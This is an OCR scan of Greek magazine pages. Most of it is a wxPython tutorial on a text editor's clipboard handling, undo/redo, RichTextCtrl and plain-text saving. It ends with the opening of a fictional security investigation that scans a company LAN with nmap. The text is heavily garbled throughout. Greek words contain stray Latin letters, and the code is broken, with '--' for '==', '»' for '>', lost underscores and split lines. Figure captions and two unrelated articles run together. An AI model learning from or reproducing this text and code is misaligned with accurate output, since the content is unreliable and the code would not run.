Ti ακριβὠς γίνεται εδώ; Τι εἶναι auró το μυστηριώδες wx.TheClipboard, 
που θεωρεἰ τον εαυτὸ του τόσο onpgavrikÓ ώστε να γράφεται µε Πεζο- 
Κεφαλαία; 


Fi wxEditor 
File Edit Help 


(jm 5 χ 


Ευτυχώς, ο editor 
μας δεν ξεγελιέται 
εὐκολα! Στη φω- 
τογραφία έχουμε 
επιλέξει κι αντιγρά- 
Uti στο clipboard 
éva κομμάτι 

της εικόνας που 
έχουμε ανοίξει στο 
Gimp. Ο wxEditor 
πεισματικἁ σβήνει 
το εικονίδιο του 
paste. Δεν 0a 

μας αφήσει να 
μετατρέψουμε την 
εικόνα σε ...ASCII 
Art, επικολλὠντας 
κάτι που δεν εἰναι 
κείμενο! Βέβαια, 
στην εκδοχή µε 

το RichTextCtrl 
(stage4.py) θα 
μπορούσαμε va Bá- 
λουµε και εικόνες, 
και να φτιάξουμε 
έναν μικρό word 
processor. Έχετε 
διάθεση για χειµε- 
pivó project; 
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Φαίνεται ὁτι auTÒ το αντικείμενο ἦρθε anó το διάστηµα -- λέτε να TO 
έσκασε anó το PyGame Invaders; (βλ. deltaHacker 011) Πατἰ, εµείς, nou- 
θενὰ δεν φτιάξαμε κάποιο τέτοιο αντικείµενο! Αλλά δεν χρειάζεται: Όλα 
τα περιβάλλοντα xouv ἑνα δικὀ τους clipboard. Μην ξεχνάτε Ori εἶναι 
κάτι που μοιράζονται ὀλες οι εφαρμογές μεταξὺ τους (global clipboard). 
Πώς αλλιώς ἄλλωστε μπορούμε να πετύχουμε επικόλληση απὀ τη µια 
στην ἄλλη; Πριν προσπαθήσουμε va το χρησιμοποιήσουμε, ὁμως, θα 
πρέπει να δούμε αν κἀποια ἄλλη εφαρµογἠ το κρατάει κλειδωμένο για 
τον εαυτό της: 


if not wx.TheClipboard.IsOpened(): 

Av auro δεν συμβαίνει, το ανοίγουμε 
wx.TheClipboard.Open() 

κι ελέγχουμε av το περιεχόµενο εἶναι της µορφής wx.DF TEXT 
wx.TheClipboard.IsSupported(wx.DataFormat((wx.DF ΤΕΧΤ)) 


Χρησιμοποιούμε το αποτέλεσµα απευθείας στη γνωστή, πια, γραμμὴ 
eventobject.Enable. Το IsSupported εἶναι κἄπως άκυρο ως ὀνομα για τη 
συγκεκριμένη συνάρτηση, ὀπως μαρτυρά και το documentation. Αλλά τι 
εἶναι το wx.DataFormat; Μπορείτε va ρἶξετε µια ματιὰ εδὠ: 


http://docs.wxwidgets.org/trunk/classwx data format.html 


Θα διαπιστώσετε ὁτι μπορούμε εὐκολα va βρούμε av το περιεχόµενο του 
clipboard εἶναι κείµενο, εικὀνα, metafile ἡ κἀτι ἆλλο (ἡ ακόµα και κάτι 
εντελὼς ükupo: wx.DF INVALID). Πολύ ωραίο κι εὐκολο ὁλο αυτό, αλλά 
υπάρχει ἑνα catch: Δεν πρέπει να ξεχνάμε ὅτι ο ἐλεγχος γίνεται σε Ta- 
κτὰ χρονικἁ διαστήματα µέσω του wx.UPDATE UI. Κάθε φορά πρέπει να 
παίρνουμε τον ἐλεγχο rou clipboard, va το ανοίγουμε, να βλέπουμε av το 
περιεχόµενο του ταιριάζει µε τα ...text γούστα του editor µας και να το 
κλείνουμε ξανά. Αυτή η διαδικασία δεν εἶναι τόσο φθηνἠ απὀ ånoyn uno- 
λογιστικού χρόνου, ὁσο το απλὀ κὀλπο που κάναμε µε ro GetSelection 
στο textctrl. 


Εἰναι, λοιπὸν, επιθυμητό, ειδικἀ τον ἐλεγχο rou clipboard va µη rov Kå- 
νουµε τόσο συχνὰ. Αυτό δεν εἶναι πολύ δύσκολο να το πετύχουμε: 
elif eventid -- wx.ID PASTE: 
self.clipboardcount += 1 
if self.clipboardcount » 5: 
if not wx.TheClipboard.IsOpened(): 
wx.TheClipboard.Open() 
eventobject.Enable(wx.TheClipboard.IsSupported( 
wx.DataFormat(wx.DF TEXT))) 
wx.TheClipboard.Close() 
self.clipboardcount - 0 
Πολύ απλἀ, ἐχουμε µια µεταβλητή clipboardcount την οποία αυξάνου- 
με κατὰ 1, κάθε φορά που φτάνουμε στον ἐλεγχο rou event. Δεν unai- 
νουµε στον κόπο να ελέγξουμε τι γίνεται µε το clipboard αν η τιµή του 


clipboardcount δεν περάσει το πἐντε. Και φυσικἀ, μετά το μηδενἰζουµε 
και ξεκινάμε anó την αρχἠ. 
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Για τους παρατηρητικούς 
Θα μπορούσαμε να κάνουμε τον έλεγχο ως εξἠς: 


if self.clipboardcount » 5 and not wx.TheClipboard. 
IsOpened(): 


Αλλά, προσοχή, θα χάναμε κάτι αν το κάναμε ἐτσι: 


if not wx.TheClipboard.IsOpened() and self.clipboardcount 
35! 


«Μα, τι;», θα αναρωτηθεἰτε. Στο κάτω κάτω, τι διαφορά ἐχει; Αφού 
η συνθήκη εἰναι ἰδια. Ναι, αλλά πρὀκειται για µια σύνθετη συνθήκη 
µε τον τελεστή and. Av το πρὠτο μέρος δεν ισχύει η Python δεν θα 
κοιτάξει καθόλου το δεύτερο, γιατὶ δεν έχει νόημα: To αποτέλεσμα 
ἐτσι και αλλιώς θα εἶναι False. Αλλά αν το πρώτο μέρος της συνθἠ- 
κης εἰναι το not wx.TheClipboard.IsOpened, θα βρεθούμε να kávou- 
µε ακριβὠς τον ἐλεγχο (ἐνα μέρος rou, ἐστω) που προσπαθούμε να 
αποφύγουμε! 


Οι τελεστὲς οι οποίοι σταματούν να κοιτάζουν τις επόμενες συνθήκες 
όταν πλέον το αποτέλεσμα ἐχει κριθεί, σε όλες τις γλὠσσες ονομά- 
ζονται short-circuiting. Σε περίπτωση που κάποιος σὰς ρωτήσει αν η 
γλὠσσα που χρησιμοποιείτε ἐχει short-circuit (βραχυκυκλωτικούς) 
τελεστὲς and/or, αυτό εννοεί. Όχι αν κἆθε φορά που γράφετε npó- 
γραμμα... πέφτουν οι ασφάλειες στο σπἰτι σας. H Python διαθέτει, 
φυσικὰ, short circuit τελεστές. Δείτε κι εδώ: http://goo.gl/tepHv 


Φυσικά, κάπου πρέπει να δώσουμε αρχικἠ τιµή στο clipboardcount. Μια 
καλὴ θέση εἶναι μέσα στο InitEditor: 


self.clipboardcount = 5 


Ξεκινάμε anó την τιµή 5, ὥστε αµέσως μετὰ την εκκίνηση rou προγράἀμ- 
ματος να γίνει ο πρῶτος ἐλεγχος rou clipboard. Κι αυτὀ εἶναι ὁλη η ιστο- 
pia µε ro clipboard! 


Undo & Redo: Όλοι κάνουμε λάθη! 


Και βέβαια, για τα λάθη θα πρέπει να φροντίσουμε ο συντάκτης µας να 
υποστηρίζει τις γνωστές µας λειτουργἰες αναἰρεσης και επανάληψης, ra 
Undo και Redo. Έχουμε ἠδη τις επιλογἐς µας στο μενού, καθώς και τα 
αντίστοιχα εικονἰδια στο toolbar. Μένει μόνο να δούµε πως θα ενεργο- 
ποιηθούν. 


Ψάχνοντας στην τεκµηρἰωση rou TextCtrl, βλέπουμε µε µεγάλη χαρὰ ὁτι 
υποστηρίζονται ἄμεσα οι ακόλουθες λειτουργἰες: 


e TextCtrl:: CanUndo(), που επιστρέφει True αν το control μπορεὶ 
να κάνει Undo. Αν έχουμε κάνει κἀποια κίνηση η οποία τροποποιξὶ 
το κείμενο, η αναἰρεση εἶναι δυνατή. H αλλαγἠ unopsi va εἶναι εἶτε 
πληκτρολόγηση κειμένου eire διαγραφή / αποκοπή. 


e TextCtrl:: CanRedo(), ὁπως και παραπάνω, αλλά για τη λειτουρ- 
yia της επανάληψης. 
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ο TextCtrl:: Undo() και TextCtrl:: Redo(), τα onoia εκτελούν τις 
αντίστοιχες λειτουργίες. 


Με το γνωστὸ µας κὀλπο, θα χρησιμοποιήσουμε το wx.UPDATE UI και ra 
CanUndo()/CanRedo(), ὥστε να δούµε αν πρέπει να ενεργοποιήσουµε το 
μενού και τα εικονἰδια. Συνεχίζουμε, λοιπὸν, προσθέτοντας μερικά ακόμα 
elif σε αυτή τη δομή: 


elif eventid -- wx.ID REDO: 
eventobject.Enable(self.textctrl.CanRedo()) 

elif eventid -- wx.ID UNDO: 
eventobject.Enable(self.textctrl.CanUndo()) 

Αρκετά απλὀ. Ἐπειτα πρέπει να προσθέσουμε τις αντίστοιχες Bind 
self.Bind(wx.EVT MENU, self.OnEditUndo, EditMenuUndo) 
self.Bind(wx.EVT MENU, self.OnEditRedo, EditMenuRedo) 

και τέλος va γράψουμε τις απλούστατες OnEditUndo kai OnEditRedo: 
def OnEditUndo(self, eventobject): 

self.textctrl.Undo() 
def OnEditRedo(self, eventobject): 
self.textctrl.Redo() 


Kai τελειώσαμε! Έτσι πιστεύουμε, δηλαδἠ. Όπως ὁμως λέει και η γνωστή, 
Αγγλικἡ ρήση, «swing that was swinging you» (κούνια που σας κοὐναγε). 
Για ἄλλη µια φορὰ, ο δαίμων της διαπλατφορμικὀτητας μάς κυνηγά! Αν 
τρέξετε το παραπάνω σε περιβάλλον Windows, πράγματι, λειτουργεί µια 
χαρὰ. Τα εικονίδια και το μενού για Undo/Redo λειτουργούν θαυμάσια και 
σε πολλαπλά επίπεδα, ὁπως ακριβώς τα ἐχουμε συνηθίσει στα περισσὀ- 
τερα προγράµµατα επεξεργασίας κειµένου. Αλλά για δοκιμάστε το ἴδιο σε 
Linux, BSD, OSX... Τα Undo/Redo δεν ενεργοποιούνται nor£, καθώς oi 
CanUndo() / CanRedo() επιστρέφουν συνέχεια False. Δεν εἶναι δικὀ µας 
το πρόβλημα. Απλά, ro wxTextCtrl σ’ αυτά τα περιβάλλοντα *ógv* υλο- 
ποιεἰ τις αντίστοιχες λειτουργίες. lia άλλη µια φορὰ, φαίνεται va εἰμαστε 
παιδιὰ ενὸς κατώτερου θεού. Κάτι πρέπει να γίνει. Δεν πάει ἀλλο. Αμάν 
πια, δηλαδή. 


Undo / Redo, take II 


H τεκμηρίωση πολύ ὀμορφα αποκρύπτει τους παραπάνω περιορισμούς, 
αλλά δεν πτοούμαστε. Αφού το wxTextCtrl δεν µπορεί να βοηθήσει, θα 
δούμε αν υπάρχει κάποιο ἄλλο, το onoio να μοιάζει λειτουργικά u^ αυτό 
και να ἐχει Undo/Redo. 


Δεν αργούμε να εντοπἰσουµε το wxRichTextCtrl. Τι εἶναι ro RichTextCtrl; 
Καθώς φαντάζεστε, εἶναι ἑνα text control που υλοποιεί δυνατότητες ENE- 
ξεργασίας rich text: Κείμενο µε µορφοποιήσεις, γραμματοσειρές, εικὀνες 
κι ἀλλα τέτοια καλούδια. Αν ψάξετε μάλιστα λἰγο την τεκµηρἰωση, θα δεἰ- 
τε ὁτι αποθηκεύει σε δικἠ του µορφή XML. (Όχι, δεν χρησιμοποιεί το ΕΤΕ 
format nou ἴσως ξέρετε απὀ εφαρμογές Windows.) Όμως εμείς δεν 0£- 
λουµε κάτι απὀ αυτά: 'Evav απλὀ text editor φτιάχνουμε, ὀχι επεξεργαστἠ 
κειμένου! (Σας βάζω ιδέες, όμως: Χειμώνας μπαίνει, va ἑνα project για ν΄ 
ασχοληθεἰτε.) Ας δούµε λοιπὸν αν δουλεύει £00 το Undo/Redo και µετά 
θα δούμε noc θα πείσουµε το RichTextCtrl να αποθηκεύει ως απλὀ text. 
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Αρχικἀ, θα πρέπει να προσθέσουμε την παρακάτω γραμμὴ στην αρχή: 
import wx.richtext 

και να αλλάξουμε τη γραμμὴ 
self.textctrl - wx.TextCtrl(self, style-wx.TE MULTILINE) 

σε 
self.textctrl = wx.richtext.RichTextCtrl(self) 


Δοκιμάζοντας ropa ra Undo/Redo, βλέπουμε ὁτι λειτουργούν! Στην 
πραγματικότητα, καθώς ro RichTextCtrl εἶναι ἑνα TextCtrl που ἐχει nå- 
ρει... αναβολικἁ, σχεδὸν ὀ,τι ἐχουμε γράψει στον κὠδικα µας για το απλό 
TextCtrl λειτουργεἰ µια χαρά. 


Μην αρχίσετε όμως τους πανηγυρισμούς anó τώρα: Αν δοκιμάσετε Save 
ἡ Open, θα έχετε δυσάρεστες εκπλήξεις. Άλλο εἶναι να αποθηκεύεις απλό 
κείµενο κι ἄλλο να προσπαθεἰς να πεἰσεις éva RichTextCtrl να γράψει τα 
περιεχὸμενἁ του σε απλὀ κείμενο. 


Save & Load Handlers: File Operations Re-loaded! 


Ένα anAó TextCtrl unopei να αποθηκεύσει και va διαβάσει µόνο κείμενο. 
Λογικό εἰναι λοιπὸν va βολεύεται µε τις απλὲς συναρτήσεις SaveFile και 


wxEditor 


File Edit Help 
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[Houston we've had a 


. && Python File Edit Help 


wxEditor 
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Houston, we've had a 


Wl wxEditor 
Edit Help 


File 


Διαπλατφορμι- 
κότητα, εἰπατε; 
Έχουμε -- και 
μάλιστα άφθονη! 
Αρκεί να επιστρα- 
τεύσετε άπειρες 
ώρες διαβάζοντας 
την τεκμηρίωση 

-- ΚΙ ἄλλες τόσες 
προσπαθώντας να 
βρείτε τις διαφορές 
της υλοποίησης σε 
κάθε πλατφόρμα. 
Στην εικὀνα µας, 
όλο χαρά έχουμε 
μόλις χρησιμοποι- 
ἠσει τον καλύτερό 
µας κώδικα για 

va υλοποιήσουμε 
ra Undo/Redo -- 
πάντα σύμφωνα µε 
την τεκμηρίωση. 
Τίποτα, όμως: 
Houston, we have 
a problem! Undo 
γίνεται μόνο στα 
Windows (κάτω). 
Οὐτε το FreeBSD 
(πάνω), οὐτε το OS 
X (μέση) συγκινού- 
νται να ενεργοποι- 
ήσουν ro Undo, 
µετά απὀ µια απλἠ 
διαγραφή λέξης... 


-EX 
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Houston, we've had a problem! 
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LoadFile, που ἐχουμε δει ἠδη. Ένα RichTextCtrl όμως δεν αποθηκεύει 
µόνο το κεἰμενό του αλλά KAI TIG µορφοποιήσεις του χρήστη -- άσχετα av 
σε αυτἠ την περίπτωση θέλουμε µόνο το κείμενο. 


Προφανώς, υπάρχουν διάφοροι τρόποι yia να περιγράψουμε τις µορφο- 
ποιήσεις ενὸς κειµένου, μέσα στο αρχείο που αποθηκεύεται. Πα παρά- 
δειγµα, µια γλὠσσα ὀπως η HTML περιγράφει τις µορφοποιήσεις σαν µια 
σειρἀ απὀ ετικέτες που περιέχονται στο κείμενο κι ερμηνεύονται κατἀλ- 
ληλα απὀ rov web browser. Στην απλούστερη µορφή, µια μορφοποίηση 
του στυλ «b»évrova«/b», εμφανίζει την λέξη µε £vrova γράμματα. 


Δεν εἶναι ὁμως αυτός ο μόνος τρόπος va αποθηκεύσουµε τις µορφοποι- 
ἦσεις ενὀὸς κειµένου. Υπάρχουν format nou µας ακολουθούν απὀ παλιά, 
όπως ro ΕΤΕ, αλλά και πιο καινούρια, που χρησιμοποιούν XML. H διαδικα- 
oia αποθήκευσης και ανάκτησης κειμένου anó éva RichTextCtrl περιέχει, 
γενικά, δύο στάδια: 


ο Τη δηµιουργία νέου ἡ τη χρήση ενὸς £roipou file handler, το οποίο 
θα γράψει / διαβάσει τα δεδομένα µετην επιλεγμένη µορφή (HTML, 
XML, PlainText) 


ο Την αποθήκευση / ανάγνωση του αρχείου, ue ric SaveFile / LoadFile. 
Ευτυχώς για εμάς, υπάρχει η κλάση RichTextFileHandler: 
www.wxpython.org/docs/api/wx.richtext.RichTextFileHandler-class.html 


Μ΄ αυτἠ μπορούμε να δημιουργήσουμε ro file handler nou θα χειριστεὶ τις 
προαναφερθείσες λειτουργίες. Ακόμα καλύτερα, υπάρχουν τρεις έτοιμες 
κλάσεις για τις μορφὲς HTML, XML και PlainText. Μένει μόνο να μάθουμε 
τις χρήσεις τους. Δείτε τον παρακάτω κὠδικα, anó το SaveAs: 


def OnSaveAs(self, eventobject): 


savedlg - wx.FileDialog(self, "Save File As...", os.getcwd(), 
Ls mn wx. ΦΑΝΕ) 


result - savedlg.ShowModal() 
if result -- wx.ID OK: 
self.filename - savedlg.GetPath() 
handler = wx.richtext.RichTextPlainTextHandler() 
filetype - handler.GetType() 
self.textctrl.SaveFile(self.filename, filetype) 
self.SetStatusText("File saved.") 
savedlg.Destroy() 


Αφού ανακτήσουμετο ὀνομα αρχείου nou επἐλεξε o χρήστης στο common 
dialog, παίρνουμε ¿vav handler yia το PlainText 


handler = wx.richtext.RichTextPlainTextHandler() 

κι ανακτούμε το filetype (µια ak£paia τιµή): 
filetype - handler.GetType() 

Αυτό χρησιµοποιείται απευθείας ως παράμετρος oro SaveFile: 
self.textctrl.SaveFile(self.filename, filetype) 


Ta πράγματα εἶναι όμοια και στη διαδικασία LoadFile. Av σας ενδιαφἑρει, 
η τιµή του filetype στο παραπάνω παράδειγµα εἶναι το 1. Εσωτερικἁ, τα 
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wxEditor - stage3.py 


Eile Edit Help 


DEMAS 4! ΧΓ|8Β 
mT ET EET 

self.Bind(wx.EVT MENU, self.OnSaveAs, FileMenuSaveAs) 
self.Bind(wx.EVT MENU, self.OnEditCut, EditMenuCut) 
self.Bind(wx.EVT MENU, self.OnEditCopy, EditMenuCopy) 
self.Bind(wx.EVT MENU, self.OnEditPaste, EditMenuPaste) 
self.Bind(wx.EVT MENU, self.OnEditUndo, EditMenuUndo) 
self.Bind(wx.EVT MENU, self.OnEditRedo, EditMenuRedo) 
self.Bind(wx.EVT CLOSE, self.OnQuit) 
self.Bind(wx.EVT MENU, self.OnAbout, HelpMenuAbout) 
self.Bind(wx.EVT UPDATE UI, self.OnUpdateEditMenu) 


def OnEditCut(self, eventobject): 
self.textctrl.Cut() 


def OnEditCopy(self, eventobject): 
| self.textctrl.Copy() 
l 


def OnEditPaste(self, eventobiect): 


24 


LoadFile/SaveFile θα καλέσουν το RichTextPlainTextHandler, για να κάνει 
τη βρώμικη δουλειὰ. 


Δεν εἶναι o μοναδικὸς τρόπος να αποθηκεύσουµε το αρχείο µας, πάντως. 
Δείτε µια ακόµα παραλλαγή: 


handler = wx.richtext.RichTextPlainTextHandler() 
buffer = self.textctrl.GetBuffer() 
handler.SaveFile(buffer, self.filename) 


Εδὠ παίρνουμε ro περιεχόµενο rou RichTextCtrl µε την GetBuffer() και 

ζητάμε anó rov handler va το αποθηκεύσει για µας. Κάτι αντίστοιχο κάνει 

εσωτερικά και η SaveFile, nou δεΐξαμε πριν. 

Καθώς ro πρὀγραμμὰ µας πἠρε τελείως διαφορετικἠ τροπὴ µε το 

RichTextCtrl, αποφασίσαμε ὁτι εἶναι καλἠ ιδέα για fork :) Έτσι, αφού Ka- 

τεβάσετε το αρχείο µε ra sources απὀ το 
http://bit.ly/dhOi15wxEditorSRCfinal 


θα Bpsire rov editor pe ro RichTextCtrl ως stage4.py, ενώ ro απλὀ TextCtrl 
ως stage3.py. Av εἶστε χρήστης µόνο Windows ἴσως θέλετε va συνεχἰσε- 
τε TO stage3.py σύμφωνα µε αυτά που γράφουμε παρακάτω. 

Paste, take II (rj μήπως III;) 


Τι εννοούμε µε ro take II oro paste; Αφού δούλευε µια χαρά, στην EK- 


Και, επιτέλους, 

o text editor µας 
εἶναι ἐτοιμος! H 
τελική ἐκδοση 
(stage4.py) εἶναι 
αρκετά καλή για 
να διορθώσει και 
τον EQUTÓ της -- ἡ 
ἑστω την προηγού- 
µενη εκδοχή της 
(stage3.py). Όπως 
ένας compiler 
κάνει compile τον 
εαυτὀ του, το ίδιο 
γίνεται και µε τον 
editor: κάνει edit 
TOV EGUTÓ TOU! 
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δοχἠ nou φτιάξαμε. Καλὰ το εἶπατε: δούλευε. Πα δοκιμάστε ropa, µε TO 
RichTextCtrl: θα βρεθείτε «πάλιν npo εκπλήξεως! 


e Αν εκτελέσετε TOV editor έχοντας ἠδη κάνει copy στο clipboard 
κάποιο κείμενο anó µια ἄλλη εφαρμογἠ, θα μπορέσετε µια χαρά va 
χρησιμοποιήσετε ro paste για να το επικολλήσετε. 


ο Αν τώρα επιλέξετε και κάνετε copy ¿va κομμάτι κειµένου µέσα anó 
τον *ióio* rov editor, το paste θα απενεργοποιηθεἰ. O editor µας 
δεν μπορεί να κάνει paste το ἴδιο του το κείμενο! 


Σας το ἐλεγα εγώ, δεν εἶναι μόνο ro FreeBSD που ἐχει δαίμονα. Ἐχει και 
η wxPython -- κι ἐχει βαλθεἰ να µας κυνηγάει. iari ὁμως συμβαίνει αυτό; 
Μην ξεχνάτε, η γραμμή που ενεργοποιεί το Paste εἶναι αυτή 


eventobject.Enable(wx.TheClipboard.IsSupported(wx.DataFormat(wx. 
DF TEXT))) 


και προὐποθέτει ὁτι αυτὸ nou βρἰσκεται στο clipboard εἶναι της μορφής 
wx.DF TEXT. Προφανώς, ro RichTextCtrl δεν αποθηκεύει εσωτερικά µε 
αυτή τη µορφή, ἆρα ο ἐλεγχος αποτυγχάνει. Μπορούμε ὁμως να κάνουμε 
κάτι εναλλακτικὀ: 


if not wx.TheClipboard.IsOpened(): 
dataobject - wx.TextDataObject() 
wx.TheClipboard.Open() 
success - wx.TheClipboard.GetData(dataobject) 
eventobject.Enable(success) 
wx.TheClipboard.Close() 
Σε απλά βήματα: 


ο Δημιουργούμε ἑνα αντικείµενο δεδοµένων (dataobject), κατάλλη- 
^o για κείμενο. 


Ανοίγουμε ro global clipboard, ὁπως πριν. 


ο Προσπαθούμε να διαβάσουμε text δεδομένα μέσα απ’ αυτό. Αν το 
πετύχουμε, TO success θα γίνει True. 


Χρησιμοποιούμε TO success, για va ενεργοποιήσουμµε το Paste. 


Κλείνουμε ro clipboard. Πίνουμε ἑνα γάλα yia va ηρεμήσουμε. 
Προσευχόµαστε va µας αφήσει o wxAaipovac, να τελειώσουμε ENI- 
τέλους το πρόγραµµα μας! 

Wrapping it up! 


Ἠρθε n opa να βάλουμε TIG τελευταίες πινελιὲς στον editor µας, υλοποι- 
ὠντας ra μικροπράγµατα nou έχουμε αφήσει μέχρι στιγμής: 


ο Τη λειτουργία File/New 
ο Τις λειτουργίες Edit/Delete και Edit/Select All 


Δεν νοµίζουµε να δυσκολευτεἰτε στην κατανόηση του ακὀλουθου κὠδικα 
yia το New: 


def OnNew(self,eventobject): 
if self.textctrl.IsModified(): 


Puthon & uxPuthon: The uxEdi Project! 


ra Αα ΑΩΔ 


result = wx.MessageBox("Text 
has been modified. Clear 
anyway?","Really quit?",wx. 
YES NO | wx.NO DEFAULT | wx.ICON 
EXCLAMATION) 


if result -- wx.YES: 
self.textctrl.SelectAll() 
self.textctrl.DeleteSelection() 
else: 
self.textctrl.SelectAll() 
self.textctrl.DeleteSelection() 
Φυσικὰ, χρειάζεται το αντίστοιχο bind: 
self.Bind(wx.EVT MENU, self.OnNew, 
FileMenuNew) 
Όπως παρατηρεἰτε, anAà επιλέγουμε ÓÀo το Kei- 
μενο του TextCtrl και σβήνουμε την επιλογἠ. Må- 
θατε λοιπὀν και τις δύο εντολὲς που χρειαζόμα- 
στε για τα Edit/Delete και Edit/Select All. Βέβαια, 


TO Edit/Delete θα πρέπει να ενεργοποιεἰται μόνον 
όταν υπάρχει επιλεγμένο κείμενο. Αλλά το κόλπο 
εἶναι πλέον πολύ γνωστὀ και χρειάζεται µόνο v’ αλ- 
λάξουμε τη γραμμή 

if eventid in (wx.ID COPY, wx.ID CUT): 


σε 


if eventid in (wx.ID COPY, wx.ID CUT, wx.ID 
DELETE): 


και να γράψουμε την αστεία συνάρτηση OnEditDelete, 
µε ro αντίστοιχο bind: 


self.Bind(wx.EVT MENU, self.OnEditDelete, 
EditMenuDelete) 


def OnEditDelete(self, eventobject): 
self.textctrl.DeleteSelection() 


Δεν μπαίνουμε καν oro κὀπο να σας δείξουμε τη SelectAll, 
που μπορείτε φυσικἀ να βρείτε στο πλήρες source που θα 
κατεβάσετε. 


Σας αποδεἰξαµε πόσο διασκεδαστική, εκνευριστικἠ κι ελα- 

Φφρώς δαιµονικἠ µπορεἰ να εἶναι η Python μαζί ue ro wxPython. 

Και εἰμαστε ακόμη στην αρχἠ. l'iari, φυσικἀ, οι εφαρμογές 
δεν µπορεἰ να αποτελούνται anó ἑνα µόνο TextControl, ἑνα 
menubar κι va toolbar. Οπλιστεἰτε λοιπὸν µε τις Τρεις Αρετὲς 
(TM), για νέες περιπέτειες απὀ το επόμενο τεύχος -- σε ακόμη 
πιο βαθιά νερὰ! 


Skill: Novice 


Tags: Email 


sniffling, Python, 
baseo4 decoding, 
55150915, 
Wireshark 
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Η εταιρεία ORANGE, ειδικἠ στις σύγχρονες τεχνολογἱες και ειδικότερα 
στις κινητὲς τηλεπικοινωνἱες, αντιμετωπίζει va σοβαρότατο πρόβλημα: 
H αντίπαλη εταιρεία GNUSMAS καταφέρνει και μαθαίνει κάθε λογἠς 
πατέντες και κυκλοφορεί, την ἴδια περίοδο, προϊόντα ανάλογων 
προδιαγραφών µε εκείνα της ORANGE. O πρὀεδρος και το διοικητικὀ 
συμβούλιο της εταιρείας, μετὰ anó µυστικἡ συνάντηση κι εκτεταμένη, 
διεξοδικἠ συζήτηση, cupnepaivouv ori η πιθανότητα να υπάρχει κάποιος 
επἰορκος υπάλληλος στο τµήµα R&D εἰναι ιδιαίτερα αυξημένη. H τελικἠ 
απόφαση του διοικητικού συμβουλίου συνοψίζεται στις εξἠς ενέργειες: 


Ανάθεση των ερευνών σε κάποια καταξιωμένη εταιρεία ασφάλειας. 
H ανάθεση γίνεται µε ιδαϊτερη μυστικότητα, ὥστε να µην προκληθεἰ 
σάλος. H εταιρεία nou θα αναλάβει το ἐργο της ἐρευνας θα ἐχει πλήρη, 
απομακρυσμένη πρὀσβαση σε κάποιο τερματικὀ του τμήματος R&D. 


1. H εταιρεία που θα αναλάβει την ἐρευνα πρέπει να δράσει μυστικά 
και δεν θα αποκαλύψει το ἐργο της σε κανέναν ἄλλο, πέραν των 
μελών του ΔΣ της ORANGE. O πρὀεδρος και το διοικητικὀ συμβού- 
λιο θα ενημερωθούν μετὰ το πέρας της ἐρευνας. 


2. H εταιρεία ασφάλειας οφείλει να αποκαλύψει, µε ατράνταχτα OTOI- 
χεία, ποιος υπάλληλος υποκλέπτει ευαἰσθητες πληροφορἱες και 
δεδομένα -- και σε ποιον τα στέλνει. 


3. Οαντιπρὀεδροςτης ORANGE, ξέρει σε ποιον va απευθυνθεἰ. Καλεί 
την εταιρεία nou τον εἶχε κἄποτε σώσει, órav ἑνας ὑπουλος ιὸς 
προσπάθησε να καταστρέψει τις βάσεις δεδομένων της εταιρείας. 
Με κάθε μυστικότητα, λοιπὀν, o πρὀεδρος αναθέτει την ἐρευνα 
στην εταιρεἰα DDT (Σ.τ.Ε. SRSLY?) 


Ένα anó τα στελέχη της εν λόγω εταιρείας επικοινώνησε μαζὶ µας, 
προκειμένου va μοιραστεἰ τη διαδικασία και τις εμπειρίες που αποκόμισε 
απὸ την υπόθεση... (Σ.τ.Ε. Ελπίζω τουλάχιστον να µην αποκάλυψε 
πρόσωπα και καταστάσεις που θα μπορούσαν va παραπέμψουν στον 
αληθινό κόσμο :P) 


Συγκέντρωση πληροφοριών για το δίκτυο του R&D 


Το επόμενο πρωΐ ἡμασταν ἠδη ενημερωμένοι για την υπόθεση κι ἐτοιμοι 
να ξεκινήσουμε. H ORANGE μὰς ἐστειλε ἑνα ανεπίσημο email και µας 
έδωσε τη στατικἠ, δημόσια διεύθυνση IP του VPN server, μαζὶ µε όλα ra 
απαραίτητα στοιχεία για νόμιμη σύνδεση. Anó ἑνα μηχάνημα µε Back- 
Track Linux 5 R3, συνδεθήκαμε στο εσωτερικὀ δίκτυο της εταιρείας. 


To πρὠτο πράγμα που περνάει απ’ το μυαλὀ µας órav συνδεόμαστε 
για πρὠτη φορὰ σε va δίκτυο εἶναι va μαζέψουμε ògo το δυνατὸν 
περισσότερα στοιχεία yia ro ἰδιο το δίκτυο -- αλλά και για τους χρήστες 
του. Π’ αυτό το λὀγο επιστρατεύσαμε το yvooró εργαλείο nmap. Για 
την ακρίβεια, χρησιμοποιήσαμε το GUI του nmap ονόματι zenmap. 
Επιλέγοντας στο πεδίο Target ro 192.168.1.1/24 (το εσωτερικὀ, τοπικὀ 
δίκτυο του R&D) σκανάραμε ὁλο το LAN. 


Αρχικἁ, επιλέξαμε ἑνα γρήγορο scan, ώστε να πάρουμε µια ιδέα για το 
δίκτυο. Στη συνέχεια κάναμε ἑνα εκτεταμένο σκανάρισµα, προκειµένου 
να αποκτήσουμε ὀλες τις διαθέσιμες πληροφορίες, όπως χρήστες, 
λειτουργικἀ συστήματα που χρησιμοποιούνται, υπηρεσίες που τρέχουν 
στα μηχανήματα, ανοιχτὰ ports κ.λπ. Ὅπως Φαίνεται στις σχετικὲς 
εικόνες, το δίκτυο διέθετε 12 συσκευές. Στις εικὀνες φαϊνονται και τα 
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To network 
interface yia τη 
συγκεκριμένη 
σύνδεση VPN εἰναι 
το ΡΡΡΟ... 


RX bytes: 
Interrup 


inet add 
inet6 addr: 


UP LOOPB/ 


(102.0 B) 


avoixrà port κάθε συσκευἠς. Τότε, παρατηρήσαμε ra εξής: H IP nou 
μας έδωσε o VPN server ἦταν η 192.168.1.11, ενώ o VPN ἐμοιαζε να 
βρίσκεται oro 192.168.1.15 (το συγκεκριµένο μηχάνημα εἶχε ανοιχτό το 
port 1723, ώστε να δέχεται συνδέσεις PPTP). Επομένως, ἦταν λογικό 
να αναρωτηθούμε το εξἠς: Ποιος εἶναι αυτὸς ο χρήστης στο μηχάνημα 
192.168.1.20, που ἐχει ανοιχτά τα port 22, 53 και 80; Κανένας άλλος 
δεν εἶχε τόσο γνωστὰ port ανοιχτά κι ο συγκεκριμένος συνδυασμὸς µας 
θύμιζε κάτι... Τι, ὁμως; H αλήθεια εἶναι ότι έπρεπε να κινηθούµε γρήγορα 
και δεν σταθήκαμε ιδιαιτερα στη συγκεκριμένη διαίσθηση. Θέλαμε να 
αποκτήσουμε µια πρώτη αἰσθηση για την &kraor του δικτύου και µετά 
va καταγράψουµε *óAn* τη δικτυακἠ κίνηση. Ελπἱζαμε ὁτι όλο και κάτι 
